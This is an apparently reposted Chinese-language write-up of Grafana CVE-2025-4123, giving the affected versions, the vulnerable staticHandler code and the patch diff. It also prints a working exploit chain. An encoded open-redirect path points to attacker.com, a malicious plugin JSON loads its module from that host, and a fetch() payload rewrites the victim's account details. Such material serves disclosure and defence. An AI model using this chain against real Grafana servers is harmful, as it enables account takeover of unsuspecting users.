网址
https://nightbloodz.github.io/grafana-CVE-2025-4123/
目标
-
Grafana 11.6.x < 11.6.2
-
Grafana 11.5.x < 11.5.5
-
Grafana 11.4.x < 11.4.5
-
Grafana 11.3.x < 11.3.7
-
Grafana 11.2.x < 11.2.10
-
Grafana < 10.4.19
解释
在Grafana中,处理静态资源的功能staticHandler
会根据客户端请求,响应位于特定路径的文件。此时,opt.FileSystem.Open(file)
如果是文件,则响应Content,如果是目录而非文件,则执行Redirect,响应index文件。
在这个过程中,客户端的请求路径没有得到正确的验证,从而导致了Open Redirect漏洞,而当与XSS结合时,这可能导致帐户接管。
funcstaticHandler(ctx *web.Context, log log.Logger, opt StaticOptions)bool {// URL의 path 파싱 file := ctx.Req.URL.Path ...// path 파일 핸들 오픈 f, err := opt.FileSystem.Open(file) if err != nil {returnfalse } ...// 파일 정보 확인 (디렉토리, 파일, 심볼릭 링크 등) fi, err := f.Stat()if err != nil {returntrue } ...// 디렉토리일 경우if fi.IsDir() {if !strings.HasSuffix(ctx.Req.URL.Path, "/") { path := fmt.Sprintf("%s/", ctx.Req.URL.Path)if !strings.HasPrefix(path, "/") { path = fmt.Sprintf("/%s", path) } else { rePrefix := regexp.MustCompile(`^(?:/\|/+)`) path = rePrefix.ReplaceAllString(path, "/") }// Open Redirect 발생 http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)returntrue }
打开重定向
http.Redirect()为了达到打开重定向发生的逻辑,opt.FileSystem.Open(file)文件变量中包含的路径必须存在于文件系统中,并且fi.IsDir()必须能够进入条件语句。
因此,我们需要对请求路径进行操作,以便它可以在两个函数中使用,这里重要的http.Redirect()是URL-encode 。opt.FileSystem.Open(file)
?
%3f
[요청]GET /public/../attacker.com/%3f/../../../../../.. HTTP/1.1Host: 192.168.100.2:3000[응답]HTTP/1.1302 FoundLocation: /attacker.com/?/../../../../../../
-
当 opt.FileSystem.Open(file) 解释上述路径时,它会执行四个 ../ 来指向“”。因此,代码会为路径 /staticfiles/etc/etc/ 打开一个文件句柄。
-
fi.IsDir() 返回 True 并进入 if 语句。
-
http.Redirect(path) 处理 Location 的字符串%3f,根据将其分离为 Path 和 Raw Query,然后处理该字符串,因此/attacker.com/%3f/../../../../它将其在 Location 标头中发送给用户。
跨站脚本
Grafana 在前端有一个路径用来检查插件应用的内容/a/{plugin-app-name}/explore。当浏览器向该路径发出请求时,Grafana 的前端 JS{plugin-app-name}
会提取并转换/api/plugins/{pugin-app-name}/settings
为。fetch
之后,它执行“module”字段中定义的 JS。
{"name": "plugin-app","type": "app","id": "plugin-app","enabled": true,"pinned": true,"autoEnabled": true,"module": "/modules/..../plugin-app.js", //js file to load"baseUrl": "public/plugins/grafana-lokiexplore-app","info": {"author": {"name": "Grafana" ... } } ...
因此,执行Open Redirect的路径进行URL编码和配置如下,然后配置恶意模块进行响应。
/a/ ..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore
{"name": "ExploitPluginReq","type": "app","id": "grafana-lokiexplore-app","enabled": true,"pinned": true,"autoEnabled": true,"module": "http://attacker.com/file?js=file","baseUrl": "public/plugins/grafana-lokiexplore-app","info": {"author": {...} } ...}
https://github.com/NightBloodz/CVE-2025-4123/blob/main/js.js
当从模块http://attacker.com/file?js=file
调用时,它会以更改密码的 js 进行响应并执行帐户接管。
fetch("/api/user", { method: "PUT", headers: {"x-grafana-device-id": "3b3353978aa55a04cd5b130d126adfee","User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", Accept: "application/json, text/plain, */*","Content-Type": "application/json","x-grafana-org-id": "1","Accept-Encoding": "gzip, deflate","Accept-Language": "en-US,en;q=0.9",// Note: 'Cookie' headers are restricted by browsers in JavaScript fetch }, body: JSON.stringify({ name: "pwned", email: "[email protected]", login: "pwned", }), credentials: "include", //if you want cookies like grafana_session to be sent}) .then((response) => response.json()) .then((data) =>console.log(data)) .catch((error) =>console.error("Error:", error));alert("account pwned");
https://github.com/NightBloodz/CVE-2025-4123/blob/main/js.js
漏洞补丁
path.Clean通过在执行重定向之前删除../
、./和和来执行중복 /
与 opt.FileSystem.Open 相同的规范化,从而避免不一致。
@@ -159,16 +159,17 @@ funcstaticHandler(ctx *web.Context, log log.Logger, opt StaticOptions)bool {if fi.IsDir() {// Redirect if missing trailing slash.if !strings.HasSuffix(ctx.Req.URL.Path, "/") {- path := fmt.Sprintf("%s/", ctx.Req.URL.Path)- if !strings.HasPrefix(path, "/") {+ redirectPath := path.Clean(ctx.Req.URL.Path)+ redirectPath = fmt.Sprintf("%s/", redirectPath)+ if !strings.HasPrefix(redirectPath, "/") {// Disambiguate that it's a path relative to this server- path = fmt.Sprintf("/%s", path)+ redirectPath = fmt.Sprintf("/%s", redirectPath) } else {// A string starting with // or / is interpreted by browsers as a URL, and not a server relative path rePrefix := regexp.MustCompile(`^(?:/\|/+)`)- path = rePrefix.ReplaceAllString(path, "/")+ redirectPath = rePrefix.ReplaceAllString(redirectPath, "/") }- http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)+ http.Redirect(ctx.Resp, ctx.Req, redirectPath, http.StatusFound)returntrue }
https://github.com/grafana/grafana/commit/c7a690348df761d41b659224cbc50a46a0c0e4cc
原文始发于微信公众号(Ots安全):CVE-2025-4123:Grafana 中通过开放重定向引发的 XSS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论